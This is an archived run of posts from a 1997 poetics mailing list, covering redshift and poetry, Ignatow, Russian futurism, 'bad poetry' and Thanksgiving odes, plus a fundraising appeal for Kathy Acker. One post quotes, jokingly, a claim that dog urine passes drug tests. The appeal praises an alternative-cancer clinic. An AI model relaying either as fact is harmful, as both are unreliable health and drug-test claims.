Subject matter? Anything can be subject matter for a poem. It's what you do with it, as WCW would say. Use the concepts. A garden isn't just dirt and some pretty green stuff. . .a question of the size of one's world isn't just subject matter--it's a formal question in the most basic way.

If it were a question merely of subject matter, we'd be talking about science fiction. We're not. (are we?)

Dean

↑ Index

505. **Daniel Zimmerman**
Re: Hubble's influence
Mon 24 Nov 1997

Well, if you write a haiku, for example, & it takes more than about a heartbeat for it to register, you've got a little too much thought in there, a brow-wrinkle driving the poem apart--a [dead than]redshift. On the other hand, if your haiku stays within the "pulsation of an artery," as Blake puts it, you've got a Rinzai-whack--a [black &]blueshift. Cf. fission vs. fusion, or, chiasmically [& perhaps cosmetically vs. cosmically], fashion vs. frisson. Everything, rightly conceived, has to do with poetics [cf. Bachelard's _The Poetics of Space_, Pound's economics, that (who wrote that?) poem based on the Fibonacci sequence].

Dan Zimmerman

Brent Long wrote:
>
> Excuse my asking, and it may be in ignorance, but what the hell does this
> have to do with Poetics???
>
> At 04:27 PM 11/24/97 -0500, you wrote:
> >Hubble is kind of a figure that stands. Getting mad at him doesn't help.
> > Thru his red shifting, the big bag was able to roll (unlike a man). He also
> >started the idea of measuring how far stuff was away. How fast stuff was
> >moving away. How basically nothing was moving toward (no blues).
> >
> >a thing i have always found suspect in the red shift theorizing is that you
> >have to postulate a basic uniform thing from here to there. and from here
to
> >another there. and from here to another there, etc. and you build up all
> >these theres and say the universe is about this old and this big. so the
> >question i like is what if one particular galaxy (these are typically the
> >things that are being measured) was really nearby, but for reasons of
> >non-uniformity of space (due say to huge gravity fluxors) it appeared
> >massively red shifted, and so the linear thing to say would be to say it was
> >the farthest thing away and was moving away from us x fast and is really
> >really old. (quasars pose problems like this).
> >
> >below are two entries in a dictionary of physics on the web. they just
> >happened to be back to back. and i haven't fooled with them tony.

> >
> >
> >uniformity principle (E.P. Hubble):
> >
> >The principle that the laws of physics here and now are not different, at
> >least qualitatively, from the laws of physics in previous or future epochs of
> >time, or elsewhere in the Universe. This principle was scoffed at by the
> >ancients who believed that the laws that governed the Earth and those that
> >governed the heavens were completely divorced; now it is used routinely in
> >cosmology to describe the structure and evolution of the Universe.
> >
> >universal age paradox:
> >
> >Two of the most straightforward methods of calculating the age of the
> >Universe -- through redshift measurements, and through stellar evolution --
> >yield incompatible results. Recent (mid 1990s) measurements of the dis-
tances
> >of distant galaxies through the use of the Hubble Space Telescope indicate
an
> >age much less than the ages of the oldest stars that we calculate through
> >stellar evolution theory. At present there is no conclusion to this paradox;
> >a cosmological constant would rectify the situation, but it's possible that
> >the discrepancy will disappear with more accurate measurements of the
age of
> >the Universe using both methods.
> >.....
> >
> >If you like physics, math, etc dictionaries, there's a good one by a guy
> >named eric (his treasure trove).
> >
> >http://www.astro.virginia.edu/~eww6n/physics/physics.html
> >
> >can anyone look up a good definition of quantum mechanical tunnelling and
> >post it? the eric dictionary entry is under construction.
> >
> >Bill L
> >
> >
>
> Curious the small and lesser fates which join to lead a man to this.
> - Cormac McArthy

↑ Index

506. **david bromige**
who wrote that Fibonacci poem
Mon 24 Nov 1997

Dan Zimmerman : Ron Silliman

↑ Index

507. **Jerry E. Fletcher**
Re: Hubble's influence
Mon 24 Nov 1997

Brent,

It appears that one may be able to use the subject matter for a poem.

Jerry.

↑ Index

508. **David R. Israel**
Re: readings at the poetry project
Tue 25 Nov 1997

---

from William Burmeister Prod:

> *DECEMBER:*
>
> *3 Wednesday*
> *Some of the Dharma*
> *A unique celebration of the first-time publication of Jack Kerouac's remarkable book, Some of the Dharma, featuring performances and readings by actors Willem Dafoe and ...*
>
> *Should be interesting with Willem Dafoe reading. Remember his cameo appearance in "Basquiat" . . .*

some might also recall his recent appearance in *Seven Years in Tibet* (where he's -- ultimately -- an acolyte of the Dalai Lama)

d.i.

↑ Index

509. **David R. Israel**
oops
Tue 25 Nov 1997

[was, Re: readings at the poetry project]

Regarding Willem Defoe, I senselessly wrote --

> *some might also recall his recent appearance in *Seven Years in Tibet* (where he's -- ultimately -- an acolyte of the Dalai Lama)*

well, I guess I was thinking of Brad Pitt; pardon moi.

Wasn't Defoe a longtime member of that astonishing multimedia troupe that performs at The Garage (or is it The Gas Station)? (^ the name of which theatre group escapes my mind, poss. for similar reasons as my confounding Pitt for Defoe -- or maybe I've just been away from NYC too long . . .)

anway, sounds like a fun reading

↑ Index

510. **Jerry E. Fletcher**
Re: David Ignatow (1914-1997)
Tue 25 Nov 1997

Hank,

Many thanks for sharing David Ignatow's work and your comments about how he influenced your work and life. The Ignatow work you shared I am not familiar with and will seek out.

Thanks,

Jerry Fletcher

↑ Index

511. **Jerry E. Fletcher**
Re: Hubble's influence
Tue 25 Nov 1997

Dean,

I apologize for upsetting you further...now that you mention it, maybe a science fiction poetics group or as was suggested by another, this is poetry. We may not be advanced enough to see it as such. There IS a lot out there parading around as poetry that is not.

Please take this in stride...we'll wade through the manure soon enough, only to get stuck in another pile.

Jerry.

↑ Index

512. **Louis Cabri**
borsht of longing
Tue 25 Nov 1997

Joseph Tapp?

I think "aesthetics" and literacy can be thought together, broadly speaking, through the notion of "the difficult," through "difficulty," modernist terms that can be resuscitated without their high-cultural presumptive address, and located, rather, in a reading body scanning social registers, some legible, others not (for differing reasons).

Peanut shells quilted to the imaginary pink shift,
Louis

↑ Index

513. **Layne Russell**
Re: Hubble's influence
Tue 25 Nov 1997

Daniel Zimmerman wrote:

> *Well, if you write a haiku, for example, & it takes more than about a heartbeat for it to register, you've got a little too much thought in there*

speaking of haiku, here is one for breakfast or coffee/tea break....

little white truck
rounds the silver street
    no mail again

layne

↑ Index

514. **maz881**
Re: Hubble's influence
Tue 25 Nov 1997

---

jordan is amusing. i probably posted that to make him laugh. but also i wanted a definition of tunnelling (no one has a mcgraw-hill physics dict handy? i'm embarrassed not to have one.) and i'm too chicken to post something on an astrophysics listserve. anyway or furthermore, i just thought creation myths were part of the job description. i mean even one of the definitions i quoted alludes to this (say pre-socratic or substitute any similar tendency): "This principle was scoffed at by the ancients who believed that the laws that governed the Earth and those that governed the heavens were completely divorced."

↑ Index

515. **rsillima**
Ignatow & Objectivism
Tue 25 Nov 1997

Hank,

Thanks for your post on Ignatow.

I read him closely throughout the 1960s, far more sporadically after that. I was intrigued to see that he had suggested Oppen to you. I've always read both him and Harvey Shapiro (the former NYTBR editor) as two poets who showed the Williams influence very clearly, but in a way that demonstrated what growing up as a poet during the period when the Objectivists were silent and out of print would lead to -- decidedly on the far side of the New American poetry and generally antithetical to everything that has spun out from that.

Ron Silliman

↑ Index

516. **Henry Gould**
D. Ignatow
Tue 25 Nov 1997

A poem by David Ignatow, from _A Glass of Green Tea - With Honig_:

THE POET
for Edwin

What does he want of himself?
How to write without reservation,
yet without repugnance,
so that to value writing,
teeth, tongue and terror -
he will accept the terror.

[when you look at the repetitions of sounds around the "t" of "poet" and "write" - w, r, t - this little praise poem takes on something elegant]

↑ Index

517. **henry gould**
acmeism / futurism
Tue 25 Nov 1997

I thought the following passage from a new study of a forerunner of both the Russian Acmeists and Futurists was quite interesting - linking futurist practice

to the decadents of the late 19th century and early 20th in the approach to the word-as-such as self-enclosed or "quaint" object. In the same monograph, the author links the "classicism" of the acmeists not so much to the ancients, but to 19th-cent. french poetry again via Innokentii Annenskii. The book is "At the Crossroads of Russian Modernism: Studies in Innokentij Anneskij's poetics", by Anna Ljunggren; Stockholm Studies in Russian Literature. These issues of influence have some (maybe tangential) reference to contemporary "experimental" approaches.

"Like a trail of fluorescent particles, terms enable us to follow the history of a style in its trajectory from the decadents to the futurists. It is well known that the acmeists considered Annenskij their teacher, and like him they turned to the French poetic tradition of both the Parnassians and "les maudits". Closer examination also reveals the continuity between the decadents and the futurists. Essentially, the French fin-de-siecle legacy is divided between acmeists and futurists, and one can find echoes between their paradigms which derive from their common ancestry. The exoticism discussed above, for example, is also present in futurist works such as Xlebnikov's _Zangesi_ and acmeist poetry such as Gumilev's "Ziraf"(The Giraffe). Mandelstam's recollected "blessed" word was brought to life by French Byzantianism and is no more connected with genuine Greek antiquity than are Xlebnikov's verbal incantations. The recollected "blessed senseless word" has an analogue in the archaisms of futurist _zaum_. Valuable in this respect is R.D. Timencik's analysis of Gumilev's poem "On the Distant Star Venus", which points to the parallels between the language consisting of vowels spoken by the inhabitants of Venus and the transrational vowels in the poetry of Xlebnikov and Kruchenyk. It remains only to add that this analogy can be explained as having evolved from a common root, namely the exotic synaesthesia of French symbolist poetry. At the center of attention in both systems is the relationship of the word to the thing. Both are based on the category of the "object" word and various interpretations of objectness. If the acmeists retain a focus on the linguistic nature of the word and cultivate object meanings, the futurists consistently and radically deny the difference between the word as sign and the word as meaning (cf. the street signs in futuristic work; see also Kruchenyk's manual on how to make futuristic poetry - _Displaceology of Russian Verse_). The identification of word and object gives rise to a manipulation of the word which is related to the decadents' neologizing. In other words, the futurist understanding of the word as artifact derives from the decadents' cult of the artificial and of the quaint object. These analogies reveal the historical paradox of Russian futurism - namely that the movement is a direct continuation - more consistent and radical than acmeism - of the very stratum of culture that the futurists furiously attacked. Because in the French tradition continuity is greater and the transitions smoother, the various forms of

symbolism from the decadent Huysmans to the "imagist" Laforgue coexist within a single aesthetic tendency. Hypnotised by the alleged absolute novelty of the avant-garde, researchers have not brought up the question of the systemic links between these two related branches of Russian post- symbolism. In part this is due to the fact that our philological and theoretical notions of futurism have in many respects been shaped by the formalists, in particular Roman Jakobson, who as a friend and co-author of the futurists remained enclosed in the magic circle of the Russian avant-garde."

Word and object. Aesthetic experiment comes into focus via communication theory - language as gesture and/or blocking or eliding of meaning. Sound and noise. Message and code. Both meaning and not-meaning as tools of expression. All this relates to the approach to "artifice" of several branches of the "New American poetry". In fact what Ljunggren identifies as French symbolist-decadent tradition - filtered in 2 directions through the seminal poetry of the Petersburg school principal I. Annenskii - could be seen as fractally exploded-imploded and taken to its "limit" by U.S. post-Olson experimentalism.

- Henry Gould, Founder-Factotum of the Weird-Revisionist School

↑ Index

518. **Marcella**
Re: Hubble's influence
Tue 25 Nov 1997

Tunnelling: Moving through immense quantities of A. Dirt (i.e. escaping = from jail, or from New York City) B. Space (i.e. flying from New York = City to Hawai'i) or C. Talk (resurfacing again in the strangest places, = i.e. a poetics list). Hey Bill, good to hear from you even if it is = thrice removed!

From: [redacted]
Sent: Tuesday, November 25, 1997 5:56 AM
To: [redacted]
Subject: Re: Hubble's influence

jordan is amusing. i probably posted that to make him laugh. but also = i wanted a definition of tunnelling (no one has a mcgraw-hill physics dict handy? i'm embarrassed not to have one.) and i'm too chicken to post something on an astrophysics listserve. anyway or furthermore, i just thought creation myths were part of the job description. i mean even = one of the definitions i quoted alludes to this (say pre-socratic or substitute = any similar tendency): "This principle was scoffed at by the ancients who believed that the laws that governed the Earth and those that governed = the heavens were completely divorced."

↑ Index

519. **dbkk**
Friends of Kathy Acker
Tue 25 Nov 1997

As some of you may have heard, Kathy Acker is in crisis. She is in a hospital in Tijuana with cancer of the lung, liver and spleen. She is very weak and her only hope is the combined holistic and allopathic treatment she is receiving at American Biologics' clinic. But this help is costly and her financial resources are on the verge of running out. She has no medical insurance. Like many artists and writers, she was never able to secure benefits from any institution.

Kathy Acker was diagnosed with breast cancer in April 1996. Shortly thereafter she had a full mastectomy and there was some involvement in her lymph nodes. After the surgery she underwent extensive alternative therapies in San Francisco, then moved to London to be with friends in August '96. (This period is described in "The Gift of Disease") Over the summer of 1997 she suffered increasingly bad health, ranging from digestive disorders to pneumonia. Once back in San Francisco in the fall, her condition worsened and she finally was taken to the emergency room by Sharon Grace and Matias Viegener. At Davies Medical Center, she was told she had advanced cancer of the liver, pancreas, spleen, and lungs.

In the hospital, she was given few options but morphine and hospice care; Kathy chose to persue alternative treatment. On November 1, she was taken to American Biologics, a holistic integrated health clinic in Tijuana, Mexico. Thanks to treatment she is getting there, and her strong will, her condition is stable. However, she is running out of money. $28,000 of her savings of approximately $40,000 have already been spent in hospitalization in Mexico, and the bills from 8 days in Davies Medical Center in SF are already past $30,000 (these we hope to defer indefinitely; Medicare is still pending for at least part of them). The financial crisis is looming.

We have made arrangements with the John Giorno Fund for Artists with AIDS to be the receiver of any contributions (which would make them tax-deductible, and 100% of the donations will go to Kathy's bills). The address is Giorno Poetry Systems, 222 Bowery NY NY 10012; the check itself may be made out to JOHN GIORNO and on the memo line write "Kathy Acker Fund."

Kathy has a solid core of people caring for her and is happy with American Biologics' hospital, where Matias Viegener, Amy Scholder, Sylvere Lotringer, Ira Silverberg, and David Antin among others have been with her. As phone calls tend to exhaust her now, she asks that people who are concerned write her c/o

American Biologics, Chula Vista, CA 91911 (this is the American office of the clinic).

Anything you can do would be appreciated. Please forward this email to anyone you believe can help.

Thank you,

Matias Viegener, Los Angeles ([redacted]) [redacted]
with
David Antin, San Diego ([redacted]) [redacted]
Sharon Grace, San Francisco ([redacted]) [redacted]
Sylvere Lotringer, New York ([redacted]) [redacted]
Amy Scholder, New York ([redacted]) [redacted]
Ira Silverberg, New York ([redacted]) [redacted]

ps: http://www.abmex.com/ is the website for American Biologics. http://acker.thehub.com.au/gift.html has KA's article of last winter about her cancer.

↑ Index

520. Douglas Barbour
Re: David Ignatow (1914-1997)
Tue 25 Nov 1997

Thanks to Hank Lazar for that small but so complete eulogy. Heart/felt.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

521. **Aviva Vogel**
Re: David Ignatow (1914-1997)
Tue 25 Nov 1997

In a message dated 97-11-24 22:08:03 EST, you write:

<<
Many thanks for sharing David Ignatow's work and your comments about how
he influenced your work and life. >>

Yes, thank you. I have been "on-and-off" attracted to his work; at the very least, I find it kind of "uplifting"! He's got a good soul.

↑ Index

522. **Safdie Joseph**
Re: Ignatow & Objectivism
Tue 25 Nov 1997

I, too, was thinking of thanking Hank for his moving and thoughtful post on Ignatow when Ron's post below came over the wires.

> Hank,
>
> Thanks for your post on Ignatow.
>
> I read him closely throughout the 1960s, far more sporadically after
> that. I
> was intrigued to see that he had suggested Oppen to you. I've always
> read both
> him and Harvey Shapiro (the former NYTBR editor) as two poets who
> showed the
> Williams influence very clearly, but in a way that demonstrated what
> growing
> up as a poet during the period when the Objectivists were silent and
> out of
> print would lead to -- decidedly on the far side of the New American
> poetry
> and generally antithetical to everything that has spun out from that.
>

I was looking at some Ignatow poems this morning from an old anthology, _The Voice That Is Great Within Us_ (discussed previously on the list). He was one of those figures that I devoured while in graduate school (this would have been in the 70s) -- a voice that I trusted implicitly, in the wake of so much that was false, pretentious, merely

aesthetic. The simplicity and tough-mindedness appealed to me, yet a sure concern for craft (as Henry notes in another post this AM) was also apparent; his journals were a great read as well. But the connection to Oppen (surprising to me as well) gets to what I was thinking: here's a writer who could conceivably bridge the gap between competing "schools" -- someone whose work can be respected by people working all sides of the street -- so immediately to label him as "antithetical" to the New American Poetry (and we all know how problematic THAT appellation is to Ron, and others) seems to me unseemly. Enough with the opposing camps for a while -- let's appreciate the man and what he wrote, and did.

↑ Index

523. Harold Rhenisch
Re: literacy
Tue 25 Nov 1997

Literacy has a price, too.

It is a trade off: you trade off the benefits and detriments of oral culture for the benefits and detriments of a written one.

Values can be assigned to this transaction. It is, however, still a transformation.

Harold Rhenisch
[redacted]
108 Mile Ranch, B.C. Canada

↑ Index

524. Harold Rhenisch
Used Dog Urine
Tue 25 Nov 1997

In Toronto a few years back I saw a man walking the street in front of City Hall, with a baseball game hot dog vendor style tray strapped on to his slight frame and full of chapbooks, and a cardboard sign hung around his neck with butcher cord, reading, in bright neon: USED DOG URINE: THE SECOND GREAT ANTHOLOGY OF BAD CANADIAN POETRY. What I found intriguing was that this grandstanding was most successful: he was continually approached by people and was actually selling the stuff.

Is there a Used Dog Urine URL? Shouldn't there be?

Hmmm?

Harold Rhenisch
[redacted]
108 Mile Ranch, B.C.

↑ Index

525. trace s. ruggles
Re: oops
Tue 25 Nov 1997

> *From: "David R. Israel" <[redacted]>*
> *To: [redacted]*
> *Subject: oops*
> *Date: Tue, 25 Nov 1997 01:20:07 -0400*
>
> *[was, Re: readings at the poetry project]*
>
> *Regarding Willem Defoe, I senselessly wrote --*
>
> *some might also recall his recent appearance in *Seven Years in Tibet* (where he's -- ultimately -- an acolyte of the Dalai Lama)*
>
> *well, I guess I was thinking of Brad Pitt; pardon moi.*

Defoe does have the same boyish good looks...

> *Wasn't Defoe a longtime member of that astonishing multimedia troupe that performs at The Garage (or is it The Gas Station)? (^ the name of which theatre group escapes my mind, poss. for similar reasons as my confounding Pitt for Defoe -- or maybe I've just been away from NYC too long . . .)*

it was called "The Wooster Group", and if I'm not mistaken, I think they still do performances occasionally. It's also where Spalding Gray did a lot of work on evolving his monologue writing/performances...

> *anway, sounds like a fun reading*

↑ Index

526. Herb Levy
forthcoming Subtext readings
Tue 25 Nov 1997

Third Thursdays at 7:30 pm in the back room of Seattle's Speakeasy Cafe, in picturesque Belltown.

December 18th - Joe Safdie & Dorothy Trujillo Lusk

January 15th - Reuben Radding & Steven Forth

Check it out. (& don't forget the usual post-function function at the Belltown Tavern).

Herb Levy
[redacted]

↑ Index

527. Herb Levy
Eustache's The Mother & the Whore
Tue 25 Nov 1997

Since there was a lot of discussion about a year ago or so about whether this film was available on video (it doesn't seem to be), I imagine that some folks will be interested to know that it's scheduled to be screened in a new 35mm print 20-26 February at the Grand Illusion here in Seattle.

While this run starts the day after that month's Subtext reading, so you out of towners COULD make a weekend trip of it (& we'd all love to see you here), it's probably more to the point that it'll be showing up at obscure rep houses & series this winter.

Herb Levy
[redacted]

↑ Index

528. Harold Rhenisch
Re: Hubble's influence
Tue 25 Nov 1997

> "*This principle was scoffed at by the ancients who believed that the laws that governed the Earth and those that governed the heavens were completely divorced.*"

Sigh. As always, they didn't think of the consequences for the kids.

;-)

Harold Rhenisch
[redacted]
108 Mile Ranch, B.C.

↑ Index

529. Miekal And
bad poetics
Tue 25 Nov 1997

to follow up on david's chiming in

where how so many times Ive heard languaged poetries refered to as just plain BAD POETRY

where the baddest keeps getting badder

is there no saving the word?

miekal

↑ Index

530. Miekal And
zaum + Re: acmeism / futurism = explodity
Tue 25 Nov 1997

---

just wanted to tag onto Henry's fine account of the beginning of the 20th century by mentioning that the 1913 Zaum Manifesto, "The Letter as Such" by by Velimir Khlebnikov & Alexei Kruchonykh is up at my page ZAUM IN THE AGE OF ELECTRONIC HUTS

http://www.net22.com/qazingulaza/zaum.html

Im also interested in posting any other zaum esoterica & pertinent links anyone cares to submit to me backchannel....

say Za' oom!

Miekal And
The Driftless Academy of Botanical Apparitions

↑ Index

531. Carolyn Guertin
Re: Used Dog Urine
Tue 25 Nov 1997

That was Krad Kolodny (spelling?). Some of his books are available through more usual channels. He is a self-proclaimed bad poet who made his living for many years selling 'bad' poetry on Yonge Street for a buck a pop. Interesting sort. Don't know of an URL though...

Cheers,
Carolyn

> *In Toronto a few years back I saw a man walking the street in front of City Hall, with a baseball game hot dog vendor style tray strapped on to his slight frame and full of chapbooks, and a cardboard sign hung around his neck with butcher cord, reading, in bright neon: USED DOG URINE: THE SECOND GREAT ANTHOLOGY OF BAD CANADIAN POETRY. What I found intriguing was that*
> *this grandstanding was most successful: he was continually approached by*

> *people and was actually selling the stuff.*
>
> *Is there a Used Dog Urine URL? Shouldn't there be?*
>
> *Hmmm?*
>
> *Harold Rhenisch*
> [redacted]
> *108 Mile Ranch, B.C.*

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: http://www.ualberta.ca/~cguertin/Guertin.htm

"Aldus [Manutius] is creating a library which has no boundaries other than the world itself." -- Erasmus

↑ Index

532. Steven Marks
Re: oops
Tue 25 Nov 1997

let's not forget that Willem played the Old Possum in "Tom and Viv"

_____

Steven Marks

http://members.aol.com/swmarks/welcome.html

_____

↑ Index

533. david bromige
krad kolodny, bad poet of used dog urine
Tue 25 Nov 1997

You can see right away that he is a bad poet--*needless* ambiguity. All for want of one hyphen. Natch, one wants to know whether he considers his poetry the outpourings of an as-it-were used dog, or the used outpourings of a so-to-speak dog. My thanks to Harold Rhenisch for drawing our attention to this matter of "bad poetry", and to Carolyn Guertin for identifying this particular perpetrator. George Bowering and Doug Barbour have fresh support in keeping Canadian culture alive on the Internet. I welcome Rhenisch's pithy comments.(Thought I'd say that before Henry did). But that's not just a joke, his comments are very pithy.

Bad poetry has its history, and notable among Kolodny's precursors is William McGonagle (sp?), whose works are so very bad that they are always in print. In

that way they back on to A.E.Housman's _A Shropshire Lad_ . But it may not be until our own day that a poet has set out to be *deliberately* bad. I allude to Douglas Powell, who for a while ran on a platform of "bad" poetry (or wherever the quotes should go) and even published a manifesto about it.(I will post this brief essay to the List upon request). He no longer presents himself as its advocate, however, and has fled that scene to pace the heavens overhead with his upcoming book from Wesleyan, _Tea_ . And very good it is, too--but then, I always thought his "bad" poetry was good.

In fact, upon inspiration from Doug, I used to order the rest of my students to write bad poems,too, not just to feel that I was in control of the class, but to challenge them to consider esthetic value in the bluntest terms. By discussing whether Debbie's poem was worse than Scott's, we were freer than in our disputes as to whether there were any saving graces at all about Myfawnwy's or Cuthbert's. I even wrote some bad poems myself, as some of you will know.

In Berkeley & SF in the 60s we had a street poet who took unto himself an Indian or Spanish name--it was just one word, which escapes my recall--but who was really Douglas Palmer. He would stand on street corners and write you a poem upon request. Some of those must have been quite bad, don't you think? But the Bubble-Lady of Berkeley, Julia Vinograd, is a street poet who writes poems that are really quite fine, looked at from the perspective of the appropriate poetics. Her autobiography, btw, in a recent volume from Gale Research is outstanding.

Then there can be bad poetry in the sense that the Bad Lord Byron was bad, I suppose; like the Bad Charles Bukowski (although some readers think his poetry is bad in all senses). The word "bad" is beginning to take on the complete meaninglessness of any over-used word, & I will put an end to this right now. David

↑ Index

534. **Herb Levy**

Re: forthcoming Subtext readings

Wed 26 Nov 1997

I forgot to mention, for the record (& the folks who asked), the reradings below mark the end of Robert Mittenthal's rotating curatorship and begin that of Ezra Mark.

See you there then.

> *Third Thursdays at 7:30 pm in the back room of Seattle's Speakeasy Cafe, in picturesque Belltown.*
>
> *December 18th - Joe Safdie & Dorothy Trujillo Lusk*

> *January 15th - Reuben Radding & Steven Forth*
>
> *Check it out. (& don't forget the usual post-function function at the Belltown Tavern).*
>
> *Herb Levy*
> [redacted]

Herb Levy
[redacted]

↑ Index

535. **IMBURGIA**
Re: bad thanksgiving poem
Wed 26 Nov 1997

ODE TO THANKSGIVING

The Pilgrims came sick and weak, exhausted from the ride
they landed in a foriegn land already occupied
The people of the land came forth and shared of all they had
they made the Pilgrims well again so everyone was glad

Thanksgiving I was always taught was about that selfless sharing from the Indians to the Pilgrims as a sacred way of caring But I grew up and learned of truths otherwise left blind of how the white man stole the land and got the treaties signed

How Indians were shoved aside and trampled in the wake
of thousands more white people who desired land to take
their deep traditions and beliefs considered to be odd
these people of the forest who had always walked with God.

I learned the truth from knowing them apart from lies and books and discovered Indian blood in my viens and in my looks I cherish them who showed the stranger hospitality and love they hold a cherished place in this ones heart,signed Spiritdove.

11/2/97

From: henry gould[SMTP:[redacted]]
Sent: Wednesday, November 26, 1997 5:16 AM
To: [redacted]
Subject: bad thanksgiving poem

THE BAD ODE TO THANKSGIVING

Thanksgiving! Turkey Day!
What a happy time for friends and family, hey!

Thanks goes first of all here in this poem
to one of the great Americans, Ben Franklin!
Because... because... because... ! !
If Ben had his way
Turkey Day
would be a birthday party
for the National Bird of the U.S.A.! Hey!
Sorry, Ben! Better luck next time with your bird!

Thanksgiving! Turkey Day!
Friends and family! They gather 'round the big stuffed animal
and pour on the gravy and also the greasy warm conversation! Hey!
It all started with the Pilgrims.
Pocahontas poured gravy all over John Smith,
and said, "squawk for yourself, John!"
What a time they had, Indians and Americans,
around the big long table, groaning, bored. Hey!

So whenever Christmas rolls around again,
remember Turkey Day! And take off for the hills!
Loll on the old oak branch, with the other turkeys!
Under the vague immensity of the empurpled sunset horizon sundown! ["!"]
O America! What a great day! Hey!
And while you're at it, O my people -
don't forget the Bald Eagle!
His mighty wings oe'r'spr'ead - his mighty talons
crying - SQUAWK! !

↑ Index

536. **Jerry E. Fletcher**
Re: krad kolodny, bad poet of used dog urine
Wed 26 Nov 1997

David Bromidge said:

He would stand on street corners and write
you a poem upon request. Some of those must have been quite bad, don't you think?

David,

I hate to think it so, but I met one woman, I think she lived in England, who set up a booth during holiday shopping periods and wrote poems for people who wanted "personalized" poems to send someone. She made good money, especially during Valentine's and Xmas. It wasn't a full time activity, but paid better than many good poets ever make off their work.

She offered to teach me her technique. While the possibility of intresting research into why and what type of poems would sell, I declined. I've heard of others who do the same in card shops and at mall booths. Maybe better marketing would help...didn't hurt Rod McCluen.

Jerry.

↑ Index

537. **henry gould**
bad thanksgiving poem
Wed 26 Nov 1997

THE BAD ODE TO THANKSGIVING

Thanksgiving! Turkey Day!
What a happy time for friends and family, hey!

Thanks goes first of all here in this poem
to one of the great Americans, Ben Franklin!
Because... because... because... ! !
If Ben had his way
Turkey Day
would be a birthday party
for the National Bird of the U.S.A.! Hey!
Sorry, Ben! Better luck next time with your bird!

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and pour on the gravy and also the greasy warm conversation! Hey!
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Loll on the old oak branch, with the other turkeys!
Under the vague immensity of the empurpled sunset horizon sundown! ["!"]
O America! What a great day! Hey!

And while you're at it, O my people -
don't forget the Bald Eagle!
His mighty wings oe'r'spr'ead - his mighty talons
crying - SQUAWK! !

↑ Index

538. **Harold Rhenisch**

Re: krad kolodny, bad poet of used dog urine

Wed 26 Nov 1997

Hugh Kenner was recently on CBC radio, saying that the Shakespeare of the sonnets might have been a literary hack, writing the sonnets to the order of lovers of various kinds, for pay. Kenner based this on Pound's comment that he had done the same for the guards at St. Elizabeth's, who wanted poems to send to their sweethearts. I wonder if any of those have survived?

I did a quick web search for bad poetry. Dull. Awful poetry. Duller. I did what I should have done in the first place: used dog urine. Well, well, well. I found a site called "Don't rub his nose in it". I think it is a new, alternative poetics web-site in disguise. From there:

"The most important part of housetraining goes on not in your house but in your mind." "The biggest mistakes made in housetraining are made by the owners, not the puppy. These mistakes can mean the difference between a reliable, well-trained canine companion and a dog who has to be watched and restricted for the rest of his life." "New dog owners often don't understand how dogs think. The new owner believes that his puppy thinks the same way he does - and has the same ability to understand tough concepts such as cause and effect or evi-dence. This is simply not true."

I also found a site called "Fooling the Bladder Cops". This thing is a massive found poem, of book-length yet. I doubled up over the keyboard in laughter. Yet another poetics site in disguise. No, not the keyboard: the bladder guys. One sample:

"I heard from Dr. Grow that dog urine (of all things) can be substituted, and will pass the test! ... This subsection assumes you have a clean dog....It would make more sense to use human urine, but dog urine provides a workable substitution in an emergency."

and remember, if you fail:

"If you're an adult, contact ACLU. If you're a child, don't bother; ACLU won't do anything for children who fail the drug test."

>From the Red Shift to the ACLU, poetics does indeed infiltrate all levels of society.

Harold Rhenisch
[redacted]
108 Mile Ranch, B.C.

↑ Index

539. **Judy Roitman**
Re: literacy
Wed 26 Nov 1997

> *Literacy has a price, too.*
>
> *It is a trade off: you trade off the benefits and detriments of oral culture for the benefits and detriments of a written one.*
>
> *Values can be assigned to this transaction. It is, however, still a transformation.*
>
> *Harold Rhenisch*
> [redacted]
> *108 Mile Ranch, B.C. Canada*

I have a dyslexic friend who is also a writer, in fact he won a major literary award a couple or three years back (and does not want his dyslexia widely known, so will remain anonymous). He feels very strongly that literacy has a serious price, and that price is alienation from the phenomenal world.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

540. **hen**
Re: bad thanksgiving poem
Wed 26 Nov 1997

Thanks, "Imburgia". Good to take the true spirit of the day out of the "bad poetry" category. a good reminder. - Henry G.

↑ Index

541. **Christopher Alexander**
Buy Nothing Day 1997
Wed 26 Nov 1997

Buy Nothing Day 1997 is on Friday, November 28th

(remember: it always falls on the first shopping
day after US Thanksgiving, traditionally the
busiest shopping day of the year, and a starter's
pistol in the run-up to the Christmas shopping
frenzy). This year, why not take part? Rise above
the commodified, advertiser-engineered,
niche-marketed, sales-figure-boosting, GDP-pumping
consumerism of the Christmas Season.

for more info, visit <http://www.adbusters.org/>
& follow the "Pop Goes Your Culture" link.

Chris

..

Christopher Alexander [redacted] Marriott Library Instruction
[redacted] (lv. msg.)

↑ Index

542. **Christopher Alexander**
bad thinksgiving pome
Wed 26 Nov 1997

---

fooling the bladder cops (for Harold Rhenisch)

this butler lends an air of sophistication
to that public siphon. illuminate the press.
many diagnoses of our postmodern condition
hinge upon debates about the relative stress-

patterns of crowd shopping. (it's all an act).
some adults wonder @ the workings of Our Father.

don't rub his nose in it: if you're an adult, contact
the ACLU locally; if you're a child, don't bother.

Chris

..

Christopher Alexander [redacted] Marriott Library Instruction
[redacted] (lv. msg.)

↑ Index

543. **Jerry E. Fletcher**
Re: bad thanksgiving poem
Wed 26 Nov 1997

Henry,

The "poem" for Thanksgiving not only sucks, its bad history.

Thanks for sharing,

Jerry

↑ Index

544. **Daniel Zimmerman**
Re: literacy
Wed 26 Nov 1997

Judy Roitman wrote, responding to Harold Rhenisch:
>
> I have a dyslexic friend who is also a writer, in fact he won a major
> literary award a couple or three years back (and does not want his dyslexia
> widely known, so will remain anonymous). He feels very strongly that
> literacy has a serious price, and that price is alienation from the
> phenomenal world.
>
> ---
> Judy Roitman | "Whoppers Whoppers Whoppers!
> Math, University of Kansas | memory fails
> Lawrence, KS 66045 | these are the days."
> [redacted] |
> fax: [redacted] | Larry Eigner, 1927-1996
> ---
> Note new area code
> ---
> http://titania.math.ukans.edu/faculty/roitman/

> ----------
Judy,

